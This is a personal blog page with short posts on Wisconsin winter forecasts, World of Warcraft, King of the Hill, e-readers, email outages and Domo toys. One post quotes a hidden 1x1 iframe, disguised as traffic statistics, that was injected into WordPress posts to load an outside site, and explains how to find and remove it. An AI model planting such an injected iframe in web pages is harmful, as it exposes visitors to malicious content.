Haibane.info

Author: fledgling otaku

  • forecasting the winter in wisconsin

    This was the first week in Wisconsin where the temperature was actually cold – mid 50s earlier, and now around low 60s. Fall is pretty much here, which is my favorite season but still attunes me towards dreadful anticipation of the winter ahead. The last two years – coinciding with our move to Wisconsin from Texas – have been unusually cold and heavy snowfall, so we really got pummeled. I actually broke down and got a snowblower near the tail end of last year’s winter, and ended up using it only twice (after a whole winter of backbreaking manual shoveling, including a minor bout injury). So I am prepared, but anxious to see what lies ahead.

    According to the weather forecasters, there’s a resurgent El Nino in the pacific which is going to mean bitter cold and heavy snow for the east coast. But my concern of course is the upper midwest, and this year it actcually looks like there’s general agreement that while it will still be cold, there won’t be as much snow this year for us as there was the past couple:

    The Midwest and central Plains, which have been hit hard the past two winters, may end up with a lack of snowfall this year. Places like Chicago, Omaha, Minneapolis and Kansas City may have below-normal snowfall and could even average a bit milder than past years.

    A warm and somewhat dry weather pattern is expected from the Pacific Northwest into the northern Plains.

    The Farmer’s Almanac is in agreement, calling the winter season for the midwest “bitterly cold and dry”:

    According to the 2010 Farmers’ Almanac, this winter will see more days of shivery conditions: a winter during which temperatures will average below normal for about three-quarters of the nation.

    A large area of numbingly cold temperatures will predominate from roughly east of the Continental Divide to west of the Appalachians (see map). The coldest temperatures will be over the northern Great Lakes and the Upper Peninsula of Michigan.

    (…) Near-normal amounts of precipitation are expected over the eastern third of the country, as well as over the Pacific Northwest and Northern Plains, while drier-than-normal conditions are forecast to occur over the Southwest and the Upper Midwest/Great Lakes.

    2010_us_wintermap.jpg

    But how well do my recollections of the past two years being crazy cold and insanely snowed compare with the reality? Since Wisconsin’s climate data is available online, it’s easy to see just how normal or not the recent years were. We moved to Wisconsin (specifically, Marshfield) in July 2007. The closest major city is Wausau for which the data is available. Since we were coming from the Houston area, to us it felt like the whole of the 2007-2008 winter season was bitterly cold and snowy. In retrospect, the daily temperatures for late 2007 were well-bounded by the 30yr averages, except for a colder spell in late Nov – early Dec. As the winter continued past the new year into early 2008, there were wild temperaure swings (e.g. +45 to -20 F in two days) from January to mid-February, and then it was consistently and significantly colder. On the whole, then, it was indeed a colder-than average winter, though even average in Wausau is still bitterly cold for a Texan transplant. As far as snowfall for that winter goes, we had a crazy big snowstorm on Dec 1st (which I got caught in – long story) and then kept on getting big snowstorms almost every two weeks until mid-January, after which we started getting more regular but smaller snows. But by the end of that season we had exceeded the average snowfall by 20 inches. Keep in mind that even the average was almost five feet of snow! Even an average year would have been tough for an ex-Texan, but that year was just crazy.

    We moved to Madison in summer of 2008, so I turn my attention to the Madison-area data instead of Wausau for that season. The early winter, in late 2008, was colder than average, though we had a warm spike in late December thru the new year. Early 2009 was actually average until mid-Jan, at which point it got really cold again. Temps were again wildly variable until mid-March. As far as snowfall that season goes, though, it was a nightmare. December 2008 was the snowiest December on record, and we just kept on getting hit. We kept getting hit with medium to large-size snowfalls all the way into early April! The scary thing is that it was even worse in Madison the prior year (while we were in Marshfield).

    The bottom line: it was indeed exceptionally colder, and snowier, these past two years. But they really were outliers; look at the 2006 season in Madison and you see the snowfall was much more reasonable, and was even abnormally warm. While a warm, dry winter would be heaven, I’m willing to suffer the cold if it means less snow. I hope these forecasts are accurate; I’ll be revisiting this topic in April to see how they fared 🙂

  • Razorfen Kraul

    So, back in Azeroth I had a really enjoyable run through Razorfen Kraul with a winsome nelf priest friend of mine; the high point had to be the armada of snufflenose gophers we were parading arouund. The low point was getting those gophers to actually do their job. My warrior is level 34, on the high side for the level, but still nowhere near high enough to solo RFK. I’ve found that doing instances really requires teamwork to get anything out of them; to solo one you must be so high level that none of the item drops are going to be worth anything to you. A team of three players, all matched to the instance’s level or slightly above, is probably optimal (the Holy Trinity of tank, healer, and DPS). That’s not always possible, of course, and this experience in RFK taught me that it’s actually more fun to go with an escort at level 80. I have been escorted through the deadmines and the stockades with an 80 before, but those were boring; the 80 did all the work and my job was to sit back and get out of the way. This time, I was able to charge up and practice my warrior techniques in full melee, and the 80 backed me up as needed with heals, buffs, and ensuring that I didn’t get overloaded (since every attack they made generated higher threat). The result was a fun fight where I could experiment with my new berserker stance, but where I still had to work at it. I was high enough level that I could survive the melee and inflict damage on my own instead of being babysitted through the whole instance. The downside was that I got only average gear – I need to try the same thing out on a slightly tougher instance (perhaps something in the 30-40 range).

    I’m thinking about focusing on instances for a while; I still have to do Gnomeregan. I really want to “twink” myself and try to get some better gear, as what I have thus far is mostly picked up from quests and lags behind the curve.

  • Azeroth and Anathem

    Now that Ramadan has ended, I’m taking up my geeky pursuits again. I’ve got a copy of Anathem from the library and added some game time back to my Warcraft account. I have to confess that it’s a hard choice 🙂

    Just saw the movie 17 Again starring teen heartthrob Zac Ephron and former teen hearthrob Matthew Perry. I was delighted to note the supporting “best friend” character was a geek otaku of the highest caliber, who also managed to score an otaku dreamgirl. You can always tell when writers are genuine geeks – it shows, unlike gross and absurd representations like Revenge of the Nerds and Urkel and whatnot.

  • Godspeed, Hank Hill

    Hank Hill King of the Hill ended its 12-year run this past weekend.

    I always found it remarkable that Mike Judge had such depth to him. I mean, this is the guy who created Beavis and Butthead; how then did he create such a masterpiece as King of the Hill? KotH was always a smart show, superior in my mind to even the Simpsons at its heyday. Hank was someone you could disagree with and yet still respect; one of the signature moments for me was the voting episode, where the liberal writers concocted a crisis for Hank in terms of President Bush’s handshake, and yet at the end it was clear that Hank was still going to do the right thing. The idea that Hank would ever vote for Gore was obviously not worth more than a throwaway question by Bill, “so, are you going to vote for the other guy?” For Hank, it was support Bush, or don’t vote, and even for a liberal viewer like me, that dilemma seemed genuine and completely understandable. Hank had a way of personifying conservatism at its best and most honorable – he was a saint, if flawed and unwilling, the last bastion of values in a world gone insane. I will really miss him, and am grateful he lives on in syndication on Cartoon Network and Hulu.

    My friend Robert Mentzer has a fantastic tribute post to Hank Hill that is really worth a read.

    And for the record, Mike Judge’s new project The Goode Family, which is essentially an attempt at portraying and satirizing liberals the way that King of the Hill did conservatives, seems devoid of a soul. It’s not that liberals can’t laugh at themselves, but something more basic about storytelling. Without a character like Hank to anchor it in humanity, it will never transcend politics. Mike Judge created Hank out of love, and Hank is someone we respected, and understood. He was never a caricature of conservatism, but perhaps its best advocate.

  • quick check your wordpress archives for this hack

    if you have archives on your wordpress blog spanning several years, you might have some posts infected with an “html injection” hack. Here’s how to quickly identify such posts in your archive and remove the hack.

  • annoying html injection in wordpress

    two of my old posts at my geekblog Haibane.info dating from November 2007 had some injected HTML code in them. The injected code read as follows:

    <!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics -->

    I only became aware of it when Google flagged my archives for that month as “malicious”. Viewing source of the archives page revealed the hack – probably from some window of time in which I hadnt upgraded to the latest wordpress version.

    To ensure you don’t have old posts in your archives with this exploit, just search your posts for the term “iframe”. Edit those posts and you’ll likely as not find similar code to above.

    WordPress has come a long way in making upgrades easier with one click (though some people still run into problems on occasion). I think it would be better is WP had a incremental and automated upgrade process whereby whenever a security-related update was available, you could have it automatically install, just like you can set in Windows. Ideally, this would be controlled by a setting in the Dashboard to “turn on/off automatic security patches” and when enabled, would “register” your blog with the mothership at wordpress.org so that whenever a security patch is available, you get an automatic email to your admin email account notifying you, and when you next login to Dashboard the patch is automatically applied.

  • the Asus eee-book reader

    I’ve swooned over the Kindle before, but still haven’t found myself willing to take the plunge. Sony has been going after Amazon’s Kindle with sexy new versions of its own e-book reader, but the main problem with the ebook market in general is that the readers are still just too expensive, not to mention stuck in a technology slow-lane with black and white text, no color support, and the non-intuitive physical form factor of a single slab.

    Enter ASUS with the first real innovation we have seen in this market – a dual-pane reader with color screens, genuine computing/web surfing abilities, and most importantly a low price:

    ASUS eeebook
    ASUS eeebook
    The world of ebooks is about to start a new chapter with the arrival of the cheapest digital reader on the market. Asus, one of the world’s biggest consumer electronics businesses, confirmed last week that it is planning to shake up the market in the same way it did when it launched the first netbook — the low-cost alternative to the laptop.

    (…) Unlike current ebook readers, which take the form of a single flat screen, the Asus device has a hinged spine, like a printed book. This, in theory, enables its owner to read an ebook much like a normal book, using the touchscreen to “turn” the pages from one screen to the next. It also gives the user the option of seeing the text on one screen while browsing a web page on the other. One of the screens could also act as a virtual keypad for the device to be used like a laptop. Whereas current ebook readers have monochrome screens, the Asus would be full colour. The maker says it may also feature “speakers, a webcam and a mic for Skype”, allowing cheap phone calls over the internet.

    The ability to read on one page and surf on the other is a big deal – imagine having Wikipedia, Google and Evernote handy while reading a book! You could really enhance your comprehension and note-taking that way, all on the same self-contained device. The key to success here is the connectivity, with both WiFi and 3G essential. ASUS is poised to transform the ebook reader market the same way they did the notebook market with the introduction of the EEE PC. It’s about time.

  • the definition of “jerkwad”

    This guy, right here. He has his picture next to the dictionary entry and everything.

    In addition to torturing the astonishingly good-natured, supremely professional baristas, he also wasted a perfectly good cup of coffee. That’s like adding whipped cream to your evil latte.

  • First gmail, now Yahoo mail is down

    good grief, it looks like it’s Yahoo Mail’s turn to go down in flames:

    Yahoo Mail error message
    Yahoo Mail error message

    I’m sure they will have service restored soon. But it’s particularly more galling given that 1. I snarkily defended Yahoo Mail during the gmail outage (oh, karma!) and 2. unlike gmail, I’m a paying customer for Yahoo’s Plus service (no ads, more storage, extra features including mail aliases).

    This, in a nutshell, is why the Cloud sucks. But even these hassles aren’t enough to make me want to go back to the Eudora days where I had to manage my own mail archives locally. Email is inherently a pain no matter how you do it – the only real way to be free of it is to declare Email Independence.

  • Domo Kun at Target

    DOMO-4-344-C.jpglast Halloween, I was kind of surprised to see Domo Kun all over the local Target store. It seems Target decided to embrace the brown guy in a big way, it was really quite bizarre. I thought no more of this until just now, reading that a new line of collectible Domos will be on sale at selected Target stores, including the one I always frequent. I have a feeling the combination of association with Japanese culture, the incongruity of Domo amidst the American retail environment, and the simple consumer psychology of the “limited release” is going to mean I bite on this. Especially since Domo isn’t gonna be brown anymore.

    As part of a new vinyl toy test initiative by the Target retail chain, new packaging solutions and colorways have been created of this popular character, with the mass-market audience in mind. For collectors, these special Qees have been produced in new exclusive colors, previously unavailable. In addition to the classic brown color, one of four new exclusive colors are available in a special blind box two-pack; two of which are available individually. These new colors include both a solid yellow and orange, as well as both a translucent black and a translucent blue.

    “We have tried to introduce the “mystery box” genre to a more casual consumer, with an equally-weighted ratio of four different colors packed in a blind box and paired with a visible brown Domo Qee” said VP of Product Development, David Scroggy. “The customer has an equal shot at one of four possible surprise colors. The blister-carded package for the single Domo Qee choices are something new for both Toy2R and Dark Horse. None of these colors are a part of our regular “mystery box” assortment, so we hope this will be of interest to collectors as well as the general public.”